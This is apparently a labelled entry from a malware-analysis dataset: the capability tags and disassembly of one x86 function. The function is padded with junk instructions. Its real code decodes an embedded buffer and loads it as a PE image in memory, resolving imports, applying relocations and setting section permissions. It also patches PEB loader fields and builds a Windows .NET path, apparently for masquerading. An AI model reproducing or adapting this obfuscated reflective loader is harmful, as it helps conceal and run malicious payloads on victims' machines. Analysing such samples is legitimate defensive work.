Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Inspect section memory permissions
Parse pe header
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
dec esi
neg ebx
or edi, 0x81
dec ebx
neg ebx
bswap edi
neg edx
inc edx
imul edx
inc edx
neg ebx
inc esi
not ebx
rcr ebx, 0xcd
and edi, 0xee
dec edi
add eax, 0xc
rcr ebx, 0xc9
sbb eax, 0x5b
mov edx, 0x4e
rcl eax, 0x1c
ror esi, 0xca
neg ebx
mov esi, 0xce
bswap eax
ror eax, 0xb5
rcl ebx, 0x61
imul eax
not ebx
rcr edx, 0x8e
and ebx, 0xa
not esi
inc esi
sbb edx, 0xfd
dec esi
dec edx
bswap esi
inc eax
imul esi
inc edx
imul esi
neg edx
rol edx, 0x5e
sub eax, 0x73
rcl edi, 0xee
ror edx, 0xc
rcr esi, 0xd1
add edx, 0x7d
rcl edi, 0xf0
not edi
and eax, 0xf0
ror eax, 0x94
neg ebx
inc edi
neg edx
neg eax
ror esi, 0x3d
ror edx, 0xf1
dec edi
ror ebx, 0xd8
add edx, 0x40
bswap edi
bswap esi
neg esi
mov ebx, 0xef
rcr esi, 0x45
sbb eax, 0x4c
and edx, 0x30
rcr eax, 8
sub edi, 0x3e
imul edi
or ebx, 0xac
imul ebx
rcr edx, 0xf5
add eax, 0x6a
not edx
not edx
inc edi
and edi, 0x40
imul edx
imul ebx
neg edi
rcl ebx, 0x2e
bswap edx
dec ebx
sub eax, 0xd0
inc ebx
and esi, 0xbf
rol ebx, 0x67
inc ebx
bswap esi
inc eax
add esi, 0x72
ror esi, 0x2e
inc edi
ror esi, 0x9a
not edi
not esi
neg edx
neg eax
not esi
bswap edi
add eax, 0xdc
mov eax, 0xba
rcl eax, 0xb5
rcl edi, 0xc2
bswap esi
not edi
sbb ebx, 0x28
inc eax
rcl edi, 0x8e
bswap edx
sbb eax, 0xdd
bswap eax
rcl esi, 0xb7
sbb eax, 0xe0
neg eax
not edx
neg ebx
or edx, 0xed
not eax
and esi, 0x82
mov esi, 0x9f
dec edi
neg ebx
ror esi, 0xbc
bswap eax
rcr eax, 0xc8
inc edx
mov edi, 0xd1
ror esi, 0x40
bswap edx
mov esi, 0x9e
not eax
imul eax
dec ebx
and eax, 0x29
neg edi
and eax, 0xeb
ror edx, 0xa2
rol edx, 0x73
and eax, 0xd8
add eax, 0xfe
dec ebx
rcr edi, 0x4b
neg eax
neg edi
imul eax
neg edi
inc edi
bswap edx
or eax, 0xae
rol eax, 0x98
and esi, 0xd8
sub edi, 0x34
mov ebx, 0x62
imul edx
or edi, 0xca
ror edx, 0x83
or eax, 5
imul edx
neg edx
or esi, 0x8e
or eax, 0x95
bswap edx
and eax, 0x6c
bswap edi
neg edx
neg edx
add esi, 0x41
mov edx, 0xf2
and edi, 0x67
not esi
sub eax, 0x2b
sub edx, 0x8d
sbb edi, 0x8b
or eax, 0x75
add ebx, 0xfc
imul eax
and ebx, 0x7a
bswap eax
bswap esi
not esi
and esi, 0x46
rol edx, 0x5f
mov ebx, 0x83
rol edi, 0x50
imul edx
rcr edi, 0xe8
dec ebx
rol esi, 0xd9
rcl eax, 0x60
neg eax
mov eax, 0x66
rcr eax, 0x62
dec esi
bswap ebx
bswap eax
inc ebx
or esi, 0xb3
push 0x52400
push 0x40d008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40d008
not ebx
dec edx
rcl edx, 0x10
imul eax
rcl edx, 0x14
bswap edx
add ebx, 0xca
sbb edx, 0x74
sub ebx, 0x31
dec edi
dec esi
mov edi, 0x7e
sbb edi, 9
imul esi
ror esi, 0x9f
add esi, 0x95
inc eax
ror ebx, 0xca
not eax
and esi, 0xd
imul edx
sub edi, 0xa2
rcr ebx, 0x84
not esi
dec eax
imul edx
dec esi
add ebx, 0x84
sub esi, 0xe1
add ebx, 0xe
and edx, 0xa4
add edi, 0x9d
rol esi, 0x4b
inc edx
dec edi
and esi, 0xef
ror edx, 0x1e
not esi
ror ebx, 0x25
bswap esi
imul edx
inc ebx
rcl edx, 0xa8
rcl edi, 0xe
rcr eax, 0xc9
bswap esi
ror eax, 0x3f
dec esi
sbb esi, 0x44
and ebx, 0xa9
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x408316
mov eax, 1
jmp 0x409917
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x408349
mov dword [ebp - 0x110], 0
jmp 0x408358
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x4083a0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x4083a0
mov eax, 2
jmp 0x409917
neg edi
neg esi
mov eax, 0x2e
or edx, 0xb6
inc eax
rol esi, 0xb8
sbb edi, 0xe0
not eax
sub ebx, 0xbf
rcl esi, 0x57
sbb esi, 9
dec edx
add ebx, 0x45
ror edx, 5
ror ebx, 0x13
imul esi
add edi, 0x9d
dec ebx
bswap ebx
not edx
rcr edi, 0x86
rol ebx, 8
rcr esi, 0xc2
or ebx, 0x4a
rcl edi, 0x6a
rcl edx, 0x4a
not edi
or esi, 0xcc
ror eax, 0x59
inc esi
inc edx
add esi, 0xf9
bswap ebx
rol edx, 0xdc
ror esi, 0x77
imul edi
imul ebx
sbb edx, 0x6f
imul eax
rol eax, 0x8e
neg eax
neg edi
rol edi, 0x7d
and ebx, 0x48
not edx
add esi, 0x3e
sub edi, 0x7d
not ebx
add esi, 0xd6
rcl edi, 0xe1
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401240
add esp, 0xc
or edx, 0xe9
inc esi
neg edx
neg edi
or ebx, 0xf1
sub eax, 0xd2
neg eax
rcl ebx, 0xec
add eax, 0x3f
bswap edx
rol edi, 0x78
dec edx
sub ebx, 0xdb
bswap edx
imul ebx
imul ebx
mov edi, 0xfb
rcr eax, 0x8f
dec ebx
bswap ebx
imul edi
mov eax, 0xb3
bswap edx
mov edi, 0xf5
mov esi, 0xa9
inc edi
ror edx, 0x89
bswap eax
dec edi
rcr edx, 0xbd
mov esi, 0x10
inc edi
rcl ebx, 0x7e
not esi
inc edx
rcr edi, 0x33
neg ebx
bswap edi
neg edi
bswap ebx
add edx, 0xee
dec ebx
inc eax
mov edi, 0xfe
mov eax, 0x4d
and esi, 0xc9
sbb edi, 0xb7
inc ebx
neg edx
not esi
neg eax
sbb edx, 0x9e
add esi, 0x59
bswap edx
inc ebx
not ebx
dec eax
and edi, 0x2f
sub ebx, 1
not edx
and ebx, 0x2c
not edx
bswap edi
bswap esi
add edi, 0xbf
rcr ebx, 0x8a
add edx, 0xab
rol esi, 0x4e
dec esi
or eax, 0x9d
dec eax
bswap esi
or edi, 0xfa
sbb esi, 0xfd
inc edi
add ebx, 0xb4
add esi, 0xe2
sbb ebx, 0xe2
mov ebx, 0x5f
ror edx, 0x87
add ebx, 0x78
or eax, 0x10
inc eax
and esi, 0xd5
rcr eax, 0x71
ror eax, 0
dec esi
bswap esi
inc ebx
neg edx
dec edx
add ebx, 0xfc
dec edi
neg eax
ror edi, 0xd1
inc edi
bswap edi
add ebx, 0x7f
dec esi
and eax, 6
rcr esi, 0xd1
mov esi, 0xd4
imul eax
dec ebx
rcr eax, 0x32
dec eax
dec edi
neg edi
bswap edi
dec edi
imul esi
add ebx, 0x88
sbb eax, 0x65
dec ebx
and ebx, 0x87
rol edi, 0x16
sub ebx, 0x67
bswap edi
imul eax
sbb edi, 0xba
dec esi
dec edx
inc edi
neg eax
bswap esi
dec eax
inc ebx
imul edx
rol edx, 0xbd
sub ebx, 0xd8
neg edx
sbb edi, 0xd3
sub eax, 0x6c
add edi, 0x8e
not eax
dec edi
inc esi
rcl edx, 0xf4
rcr eax, 0x90
or edi, 0x60
mov edx, 0xaa
inc eax
rol edi, 0x15
dec ebx
rcr eax, 0x98
imul edx
neg eax
add ebx, 0x9e
rol edi, 0x53
inc edx
sub ebx, 0x53
mov edi, 0x60
dec edi
neg ebx
or edi, 0x41
ror eax, 0x83
rcr esi, 0xdc
inc ebx
sbb esi, 0x7d
sbb esi, 0x31
rcr edx, 0x36
neg edx
dec eax
bswap edx
not edi
not edi
or esi, 0xb8
neg ebx
imul edx
and ebx, 0x45
sbb eax, 0xa9
dec edx
bswap edi
dec esi
rcr eax, 0xf2
imul esi
dec ebx
rol esi, 0x80
rcr edx, 0xab
sub ebx, 0xdb
sub edx, 0x8f
bswap esi
or ebx, 0x51
bswap edx
dec eax
not edx
bswap edx
sbb ebx, 0xa4
neg edx
rcl esi, 0x28
inc eax
inc eax
add ebx, 0xaa
sbb esi, 0xcf
add edx, 0xf7
dec eax
add edx, 0x83
inc esi
imul esi
imul edi
dec edx
bswap edx
neg esi
neg edx
sbb ebx, 0xa2
neg esi
inc eax
mov eax, 0xd9
sub ebx, 0xf4
inc esi
inc esi
neg edx
dec edi
mov ebx, 0xcf
sbb eax, 0xc5
and ebx, 0x56
mov eax, 0xab
not esi
inc ebx
rcl eax, 0x15
neg edx
rcr eax, 0x3e
and ebx, 0x3f
rcr ebx, 0xa
imul esi
sub eax, 0x58
imul esi
inc edi
rol ebx, 0x4f
not edx
rcl edi, 0xd3
imul eax
dec edx
inc esi
neg edx
neg ebx
add edi, 0x67
inc esi
inc ebx
not ebx
sub esi, 0x8c
or esi, 0x1b
sub eax, 0x70
sbb ebx, 0xcb
sub eax, 6
rcr eax, 0xe
or edx, 0xf8
inc ebx
dec edi
dec eax
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40873a
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40879b
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401240
add esp, 0xc
jmp 0x40872b
sub edi, 0x5e
imul edi
not ebx
rcr esi, 0xa9
not edx
imul edi
and edx, 0xb
sbb edi, 0x3e
ror eax, 0x50
add ebx, 0xe9
inc edi
dec edx
sbb esi, 0xe4
or ebx, 0xae
inc edx
rcr edx, 0xdb
mov esi, 0xda
imul eax
imul edi
ror edx, 0x47
sub ebx, 0xce
bswap edi
imul edi
neg eax
mov edx, 5
neg ebx
dec ebx
and edi, 0xbd
imul edi
rcr edx, 0xf2
rcr edx, 0x93
not esi
rcr ebx, 0x36
sub edx, 0xca
imul edi
imul edx
rol esi, 0x9a
inc ebx
imul ebx
dec esi
sub eax, 0xe7
bswap edi
neg edx
inc edi
or esi, 0x11
bswap edi
dec edx
mov edx, 0x6c
mov edx, 0x48
rol esi, 0x9a
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x408960
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x408960
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x4088d5
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x40893a
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x408929
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x4088c6
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x408871
inc eax
rcl eax, 0x31
ror edx, 0x4f
sub edi, 0x60
mov edi, 0x6a
not edi
neg edi
neg eax
not edi
imul edi
sub esi, 0x70
sub edi, 0xad
and edx, 0x5c
add edx, 0xde
rcr ebx, 0x99
inc esi
neg esi
or edx, 0x81
imul eax
or edi, 0x63
inc eax
neg edi
not edx
inc edi
imul esi
or edi, 0x49
ror esi, 0x9c
imul edi
neg eax
imul edi
rcr eax, 0xb3
add eax, 0xf2
dec eax
not edi
neg edi
dec ebx
neg eax
rol edi, 0x31
rcl ebx, 0xe5
inc edx
sbb edi, 0x89
rol ebx, 1
mov eax, 0xd
ror eax, 0xa
add esi, 0xe9
neg eax
inc esi
sub ebx, 0x15
sub edi, 0x2b
dec ebx
inc eax
dec edx
rcr ebx, 0x2c
not eax
rol esi, 0x11
dec edx
add eax, 0xb5
dec edi
inc edi
inc eax
or edx, 0x1b
rcl edx, 0xcc
neg ebx
sbb edx, 0x51
sub edx, 0x75
dec edi
bswap ebx
bswap esi
inc eax
bswap edi
not esi
or esi, 0xdd
rol eax, 0x33
dec edx
neg ebx
rcr esi, 0xf1
add esi, 0x3a
dec edx
rcr ebx, 0xfb
imul esi
rcr edi, 0xad
not esi
sbb edi, 0x73
not edx
ror edi, 0x93
mov edx, 0x51
or edi, 0
ror edi, 0xfd
ror ebx, 0x6c
bswap edx
ror ebx, 0xf6
rcl ebx, 0x3a
not edx
rcr ebx, 0x6a
not esi
bswap esi
bswap eax
inc edx
not ebx
neg esi
inc edx
imul esi
or ebx, 0x19
dec ebx
rcl eax, 0xb0
and edi, 0xa0
dec edx
not edi
imul esi
and ebx, 0x51
not edx
rcr edx, 0x10
imul esi
rol edx, 0x2a
rol esi, 0xad
inc eax
ror ebx, 0xb5
rol ebx, 0xaf
or eax, 0xae
imul esi
sbb esi, 0xa0
bswap ebx
add eax, 0x5e
sbb edx, 0x3c
not edx
inc ebx
bswap edx
mov edi, 0xe2
not ebx
not edi
sbb ebx, 0x89
bswap edx
not ebx
or ebx, 0xbb
add edi, 0xda
not edi
sbb edx, 0xac
inc ebx
neg esi
add esi, 0xf4
sbb eax, 0xb6
imul edx
and eax, 0x8d
rol ebx, 0x91
ror edx, 0xc5
inc edx
rol eax, 0xc2
add ebx, 0x64
ror esi, 0xdb
inc edx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x408b23
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x408c61
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x408b7a
jmp 0x408b14
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x408bb4
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x408c5c
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x408c2f
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x408ba5
jmp 0x408b14
mov dword [ebp - 0x104], 0
jmp 0x408c7c
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x408d9a
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408cea
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408cea
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x408cea
mov dword [ebp - 0x108], 0x40
jmp 0x408d51
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408d12
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408d12
mov dword [ebp - 0x108], 4
jmp 0x408d51
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x408d39
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x408d39
mov dword [ebp - 0x108], 0x20
jmp 0x408d51
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x408d51
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401260
add esp, 0x10
jmp 0x408c6d
and edx, 0xac
add edx, 0xd3
bswap eax
sbb ebx, 0xa5
imul ebx
inc ebx
dec edi
ror ebx, 0xbd
and ebx, 0x9c
neg esi
dec ebx
neg edi
or edi, 0x29
sbb ebx, 0x8a
imul edx
bswap esi
inc eax
mov edx, 0xdd
imul eax
inc ebx
not eax
add edx, 0x10
and eax, 0x47
inc esi
or esi, 0xfd
ror esi, 0x82
bswap edi
rcl esi, 0x9b
imul edi
not eax
sub ebx, 0x4c
dec eax
neg esi
not esi
sbb ebx, 0xea
imul edx
rcr ebx, 0xb2
sub eax, 0x89
not eax
and eax, 0x9d
ror eax, 0xcb
rcr ebx, 0xf3
rcl eax, 2
sbb ebx, 0x32
not ebx
or esi, 0x71
or edx, 0x5d
not edx
ror esi, 0xd2
inc edx
inc edi
imul esi
inc eax
rcr ebx, 0x26
rcr edx, 0x58
sbb edi, 0x87
imul esi
ror edi, 0x38
sbb edx, 0x38
imul edi
sbb edi, 0x76
neg esi
inc edx
imul ebx
dec edx
add edx, 0xa6
rcl eax, 0x16
mov ebx, 0x70
rcr ebx, 0xb0
inc eax
or edx, 0x39
mov edx, 0xc8
inc ebx
neg edx
dec eax
inc ebx
rol ebx, 0x26
sub ebx, 0x34
and esi, 0x19
neg edx
bswap esi
imul eax
mov eax, 0xfd
rcr esi, 0xbe
not edx
rcr ebx, 0x49
dec eax
sub eax, 0x1a
dec ebx
rcr esi, 0xe5
imul edi
sub esi, 0x7c
dec eax
ror esi, 0x62
neg edi
mov eax, 0xe2
rcl ebx, 0x21
rcl esi, 0x77
bswap edi
not edx
ror ebx, 0x87
rol ebx, 0xd4
rcl eax, 0x40
imul eax
bswap ebx
not esi
or edx, 0x43
rcr ebx, 0x39
rcr esi, 0x27
and eax, 0x3e
bswap esi
or ebx, 0x6b
mov edi, 0x52
add ebx, 0x35
imul edx
mov eax, 0xce
sbb eax, 0xa5
neg ebx
or edx, 0xfa
not edx
rcr eax, 0xe6
not esi
dec esi
dec eax
or edx, 0xb5
mov edx, 2
sub ebx, 0x2a
rcr eax, 0xf5
or edx, 0xb4
add ebx, 0x2d
rol eax, 0xb
sub esi, 0xc1
bswap ebx
dec eax
rcr edx, 0xea
and ebx, 0xed
sbb edx, 0x8c
sbb edx, 0xb0
sub eax, 0x82
ror edx, 0xf2
sbb ebx, 4
sbb eax, 0x45
and edi, 0xd3
sub edx, 0xc7
sbb ebx, 0x30
inc eax
and edi, 0xcf
or eax, 0x66
sub esi, 0x9e
and esi, 0x36
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
ror edx, 0xf8
rcl edi, 0xca
add eax, 0x5a
mov eax, 0x4a
and ebx, 0x56
or esi, 0xd3
bswap edx
add eax, 1
sub eax, 0x30
inc ebx
ror ebx, 0x2b
rcr ebx, 0x8e
inc ebx
not esi
inc eax
mov edx, 0xa8
bswap edi
sub edx, 0xc5
or edx, 0x68
mov edi, 0xf6
rcl eax, 0x43
bswap edx
mov ebx, 0x28
not edx
bswap edi
neg ebx
rcl edx, 0x29
neg eax
dec esi
inc edx
mov edx, 0x67
rcl esi, 0x1f
bswap eax
or eax, 0x38
and edx, 0x38
bswap ebx
sbb esi, 0xaa
bswap esi
and edi, 0xe8
bswap edi
inc edx
neg eax
add edx, 0x40
rol eax, 0xd1
rcr edx, 0x6a
bswap edx
imul esi
bswap edi
dec edx
not edx
add eax, 0xbe
inc edi
not edi
imul edi
sub edi, 0x9b
mov eax, 0x24
rcl edx, 0x84
imul edi
inc ebx
add ebx, 0xa9
ror edi, 0x68
mov edx, 0x1e
ror edx, 0x77
sub eax, 0x31
rcl esi, 0xd0
neg edx
inc edx
dec edx
inc ebx
rol edx, 0x4c
bswap esi
imul ebx
add edx, 0x22
inc edi
neg eax
or eax, 0x23
mov edx, 0x36
rol esi, 0xe4
not ebx
and ebx, 0x88
sub eax, 8
sbb esi, 0x75
inc edx
not edx
sub edi, 0x6c
imul edx
mov edx, 0xc5
not edx
bswap esi
not eax
not ebx
dec esi
or esi, 0xf2
and esi, 0xf6
bswap edi
or eax, 0xf2
add eax, 0x75
rol edx, 0xf4
inc esi
not eax
rol ebx, 0xfd
rcl esi, 0x6a
sub edx, 0x7f
dec esi
bswap eax
inc esi
dec ebx
rcl ebx, 0xb1
not edi
ror eax, 0x47
imul ebx
add esi, 0x99
neg ebx
imul eax
neg ebx
inc edi
neg eax
ror ebx, 0x1d
and eax, 0xd5
neg ebx
not edi
not ebx
sbb edx, 0x6b
sbb ebx, 0x90
rcr edi, 0x68
not ebx
rcl eax, 0xea
rcr eax, 0x48
and ebx, 0xa7
mov esi, 0x10
rcr edx, 0xb5
ror edx, 0x1e
neg eax
sub eax, 0x91
imul edx
and edi, 8
sub esi, 0x67
not eax
inc edi
neg eax
imul edx
bswap esi
dec ebx
dec edi
bswap esi
bswap edi
add eax, 0x24
inc ebx
mov eax, 0xa8
dec edi
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
add edi, 0x6b
dec edi
add eax, 0x16
rcr esi, 0x26
bswap esi
rol edx, 0x74
sbb edx, 0xc1
sub esi, 0x4b
rcr ebx, 0x7b
dec edx
imul edi
ror eax, 0x81
or eax, 0x12
dec edx
rcl esi, 0x81
ror edi, 0x32
not ebx
mov esi, 0x2f
rcl ebx, 0xf4
add esi, 0xa9
sbb eax, 0xcc
bswap eax
rcl eax, 0x3b
imul eax
and edi, 0x71
not ebx
dec ebx
neg edx
neg ebx
rol ebx, 0x24
rol edi, 0x76
neg edx
inc ebx
rcr ebx, 0xf3
bswap esi
dec eax
dec edx
ror ebx, 0x43
sub ebx, 0xaf
add esi, 0xe6
mov edi, 0x8b
ror esi, 0x4e
rcr eax, 0x67
and eax, 0xaa
neg esi
neg ebx
mov esi, 0x70
not eax
imul esi
imul esi
sbb edx, 0x2b
mov esi, 0xf7
rcl eax, 0x95
imul ebx
dec edx
sbb eax, 0x68
bswap edx
inc edx
sbb edx, 0x57
and eax, 0x43
and edx, 0x75
dec eax
inc eax
rcl edi, 0xfb
rcr esi, 0x22
neg edi
bswap ebx
not edi
imul edi
bswap eax
sub edx, 0x58
or edx, 2
inc edx
rol ebx, 0x3b
rol esi, 0xe3
mov edi, 0x48
sub edx, 0x72
sub edx, 0x2c
and edi, 0x4a
and eax, 0xff
dec ebx
rcr edx, 0xd2
neg edi
or edi, 0x87
mov edi, 0xe3
imul eax
dec eax
ror ebx, 0x74
sbb eax, 0x8b
neg ebx
imul eax
dec esi
dec ebx
rcr edx, 0x4a
imul ebx
add esi, 0x56
ror ebx, 0xa2
and edx, 0xc4
bswap edi
add esi, 0x16
neg edx
dec edx
neg esi
not edx
not esi
bswap edi
inc eax
rol ebx, 0x9f
sbb esi, 0xda
or esi, 0xa9
sbb edi, 0xbe
bswap edi
bswap edi
add esi, 0x6c
bswap edx
neg esi
not edi
imul esi
add eax, 0x99
ror eax, 0xa4
inc ebx
dec edx
neg edi
rcl esi, 0xdd
dec edi
inc eax
or eax, 0x7e
not edx
not esi
bswap edx
rcl esi, 0x29
sub edi, 0xe5
and eax, 0x9a
neg edx
not eax
dec ebx
bswap edi
ror eax, 0xb4
imul edi
add eax, 0x7d
not esi
neg ebx
dec eax
and ebx, 0xf
bswap edi
dec ebx
bswap edx
neg ebx
bswap esi
sbb edi, 0x2a
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
